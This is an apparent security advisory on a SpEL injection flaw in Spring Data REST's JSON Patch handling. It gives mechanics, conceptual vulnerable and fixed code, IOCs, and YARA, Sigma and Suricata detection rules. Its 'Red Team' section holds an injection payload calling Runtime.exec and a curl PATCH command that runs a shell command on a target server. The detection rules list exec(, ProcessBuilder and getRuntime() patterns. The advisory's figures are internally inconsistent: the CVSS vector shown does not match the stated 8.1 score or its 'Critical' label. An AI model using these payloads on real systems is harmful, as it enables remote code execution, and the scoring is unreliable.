CVE-2026-41729

Executive Summary

CVE-2026-41729 is a critical SpEL (Spring Expression Language) injection vulnerability in Spring Data REST. The flaw resides in the processing of JSON Patch (application/json-patch+json) requests. When a persistent entity exposes a Map-typed property, the JSON Pointer path segment used as the map key is embedded directly into a SpEL expression without sanitization or validation. An unauthenticated attacker can craft a malicious JSON Patch request to inject arbitrary SpEL expressions, leading to Remote Code Execution (RCE) on the server.

This vulnerability affects all versions of Spring Data REST from 3.7.0 through 5.0.5. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the severity (CVSS 8.1) demands immediate attention.

Supply Chain & Package Security

This vulnerability is in the Spring Data REST library, distributed via Maven Central. Organizations using Spring Boot with Spring Data REST are at risk. The affected artifact is spring-data-rest-webmvc. Supply chain risk is high because the vulnerability is in a core library, and no patch is available. Teams should monitor for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify data or execute commands.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and potential for RCE makes this a top-priority vulnerability.

Deep Dive & Mechanics

Spring Data REST provides a mechanism to apply partial updates to resources using JSON Patch (RFC 6902). The JSON Patch operation includes a path field that uses JSON Pointer notation. When the target entity has a Map-typed property, the JSON Pointer path segment (the map key) is used directly in a SpEL expression to access or modify the map entry.

The vulnerable code path is in the JsonPatchHandler or similar component that processes the replace, add, remove, copy, or move operations. The map key from the JSON Pointer is concatenated into a SpEL expression like:

#root.mapProperty['<key>']

If the <key> contains SpEL injection syntax (e.g., T(java.lang.Runtime).getRuntime().exec('id')), the expression is evaluated by the SpEL expression parser, leading to arbitrary code execution.

Root Cause: Lack of input sanitization on the JSON Pointer path segment when constructing SpEL expressions for map property access.

Attack Vector: An attacker sends a PATCH request with Content-Type: application/json-patch+json containing a malicious path field.

Example Malicious Payload:

[
  {
    "op": "replace",
    "path": "/mapProperty/T(java.lang.Runtime).getRuntime().exec('calc')",
    "value": "test"
  }
]

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In JsonPatchHandler or similar
public void applyPatch(JsonNode patch, Object entity) {
    // ...
    String path = operation.get("path").asText();
    // Directly using path in SpEL
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression("#root." + path);
    exp.setValue(context, entity, newValue);
    // ...
}

Patched Code (Expected):

// Sanitize the path segment
public void applyPatch(JsonNode patch, Object entity) {
    // ...
    String path = operation.get("path").asText();
    // Validate path against allowed characters (e.g., alphanumeric, hyphens, underscores)
    if (!path.matches("^[a-zA-Z0-9_/-]+$")) {
        throw new InvalidPatchException("Invalid path");
    }
    // Use safe property access
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression("#root." + path);
    exp.setValue(context, entity, newValue);
    // ...
}

Note: The actual patch is not yet available. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Spring Boot application using Spring Data REST with a Map-typed property in an entity.
• The application must accept application/json-patch+json requests.

Exploitation Steps:

1. Identify a target endpoint that supports PATCH with JSON Patch (e.g., /api/entities/{id}).
2. Craft a malicious JSON Patch payload with SpEL injection in the path field.
3. Send the request.

Example Exploit (using curl):

curl -X PATCH http://target:8080/api/entities/1 \
  -H "Content-Type: application/json-patch+json" \
  -d '[{"op":"replace","path":"/mapProperty/T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/pwned\")","value":"test"}]'

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

• Monitor for PATCH requests with Content-Type: application/json-patch+json.
• Inspect the path field for suspicious characters like parentheses, dots, or T(.
• Use WAF rules to block paths containing SpEL syntax.

Defense:

• Disable JSON Patch processing if not needed.
• Implement input validation on the path field.
• Use a custom JsonPatchHandler that sanitizes map keys.
• Apply the principle of least privilege to the application process.

Indicators of Compromise (IOCs)

• Network IOCs:

  • PATCH requests with Content-Type: application/json-patch+json.
  • Path fields containing T(, exec(, Runtime, ProcessBuilder, or other Java class references.
  • Unusual response times or error messages indicating SpEL evaluation failures.

• Host IOCs:

  • Unexpected processes spawned (e.g., calc.exe, bash, cmd).
  • New files created in unexpected locations (e.g., /tmp/pwned).
  • Outbound connections from the application server to unknown IPs.

• Log IOCs:

  • Application logs showing SpelEvaluationException or ExpressionParsingException.
  • Access logs showing PATCH requests with long or suspicious paths.

Detection Engineering

YARA Rule

rule CVE_2026_41729_SpEL_Injection {
    meta:
        description = "Detects SpEL injection attempts in JSON Patch requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41729"
    strings:
        $spel_pattern1 = /T\(java\.lang\.Runtime\)/
        $spel_pattern2 = /exec\(/
        $spel_pattern3 = /ProcessBuilder/
        $spel_pattern4 = /getRuntime\(\)/
        $spel_pattern5 = /\.exec\(/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-41729 SpEL Injection in JSON Patch
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SpEL injection attempts in JSON Patch requests
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'PATCH'
        http.content_type: 'application/json-patch+json'
        http.body|contains:
            - 'T(java.lang.Runtime)'
            - 'exec('
            - 'ProcessBuilder'
            - 'getRuntime()'
    condition: selection
falsepositives:
    - Legitimate use of Java class names in map keys (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-41729 SpEL Injection in JSON Patch"; flow:to_server; http.method; content:"PATCH"; http.content_type; content:"application/json-patch+json"; http.request_body; content:"T(java.lang.Runtime)"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable JSON Patch processing if not required. Remove or comment out the JsonPatchHandler bean.
2. Apply input validation on the path field. Use a whitelist of allowed characters (e.g., alphanumeric, hyphens, underscores, slashes).
3. Upgrade to a patched version once available. Monitor the Spring Data REST project for updates.
4. Use a Web Application Firewall (WAF) to block requests containing SpEL syntax in the path.

Long-term Fix:

• The Spring team should release a patch that sanitizes map keys in JSON Pointer paths before SpEL evaluation.
• Implement a custom JsonPatchHandler that uses safe property access methods.

Workaround:

• If JSON Patch is essential, implement a custom interceptor that validates the path field against a strict regex.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert